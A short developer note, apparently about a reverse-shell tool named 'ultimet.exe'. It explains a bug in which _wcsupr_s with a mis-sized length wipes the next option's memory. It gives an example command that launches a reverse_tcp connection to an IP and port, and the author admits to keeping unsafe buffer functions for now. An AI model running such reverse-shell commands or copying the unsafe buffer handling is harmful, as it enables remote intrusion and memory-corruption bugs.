When I did that, it overwrote the memory of the following option with zeros!
example:
`ultimet.exe -t reverse_tcp -h 192.168.59.132 -p 8888` 
what happened is that after `_wcsupr_s reverse_tcp` executed it overwrote `-h 192.168.` with zeros, pam! options got screwed ... I know it has something to do with `wcslen(payload_settings.TRANSPORT) *  sizeof(wchar_t)` which might should have been `wcslen(payload_settings.TRANSPORT)`, but I took the sweet short path to buffer overflows :) ...
Give it a try! it will corrupt the options ... Even though I know all unsafe functions should be replaced with secure counterparts, but till I have the time to debug them, I'll just stick to the `unsafe` version.